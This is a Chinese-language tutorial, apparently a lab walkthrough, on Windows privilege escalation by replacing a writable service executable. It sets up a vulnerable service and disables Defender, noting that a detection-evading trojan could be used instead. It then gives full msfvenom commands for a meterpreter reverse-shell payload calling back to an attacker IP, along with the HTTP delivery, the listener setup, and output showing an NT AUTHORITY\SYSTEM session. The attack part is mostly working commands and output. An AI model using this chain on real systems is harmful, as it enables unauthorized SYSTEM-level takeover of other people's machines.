系统服务替换提权
一、漏洞原理和利用条件
1、原理
windows系统服务文件在操作系统启动时加载执行,并在后台调用可执行文件。如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,那么就可以替换该文件,并随着系统启动获得控制权限。windows服务是以system权限运行的,其文件夹、文件和注册表key-value都是受强制访问控制保护的。但是在某些情况下,操作系统中依然存在一些没有得到有效保护的服务
2、利用条件
-
看到服务执行路径可写
-
原来的文件可以修改
-
即可利用该漏洞
二、漏洞环境复原
1、开启漏洞服务
使用管理员权限开启服务
Microsoft Windows [版本 10.0.17134.228]
(c) 2018 Microsoft Corporation。保留所有权利。
#创建一个Test_server,调用地址为E:\bin\calc.exe,开机自启
C:\Users\Administrator>sc create Test_server binPath= "E:\bin\calc.exe" start= auto
[SC] CreateService 成功
#查询服务
C:\Users\Administrator>sc query Test_server
SERVICE_NAME: Test_server
TYPE : 10 WIN32_OWN_PROCESS
STATE : 1 STOPPED
WIN32_EXIT_CODE : 1077 (0x435)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
2、基于普通用户修改权限
目前users组里的用户没有写入权限,所有我们得给个写入的权限,这里点击高级
这里需要禁用一下继承不然没办法修改users组的权限
好的这边漏洞环境已经,准备好了现在我们切换到test用户进行提权
3、关闭Defender
这里我们需要把Windows默认的防病毒关闭,实际情况可以使用免杀的木马进行绕过
永久关闭Defender
三、提权过程
1、Kali制作反弹shell木马
#生成木马,需要自动迁移进程
msf6 > msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.88.141 lport=4444 prependmigrateprocess=explorer.exe prependmigrate=true -f exe > windows.exe
[*] exec: msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.88.141 lport=4444 prependmigrateprocess=explorer.exe prependmigrate=true -f exe > windows.exe
Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions.
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 901 bytes
Final size of exe file: 7168 bytes
msf6 > ls
[*] exec: ls
windows.exe
2、上传木马
#开启http服务
msf6 > python -m http.server 80
[*] exec: python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
3、Kali开启监听
msf6 > handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.88.141 -P 4444
[*] Payload handler running as background job 0.
[*] Started reverse TCP handler on 192.168.88.141:4444
msf6 > jobs
Jobs
====
Id Name Payload Payload opts
-- ---- ------- ------------
0 Exploit: multi/handler windows/x64/meterpreter/reverse_tcp tcp://192.168.88.141:4444
4、狸猫换太子
把计算器的名字更改,把我们的木马换成计算器的名字
重启计算机让服务启动起来,就把我们的木马给运行起来了
5、完成提权
msf6 >
[*] Sending stage (200774 bytes) to 192.168.88.131
[*] Meterpreter session 1 opened (192.168.88.141:4444 -> 192.168.88.131:49668) at 2023-11-05 20:06:46 +0800
msf6 > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows NT AUTHORITY\SYSTEM @ DESKTOP-74FDETH 192.168.88.141:4444 -> 192.168.88.131:49668 (192.1
68.88.131)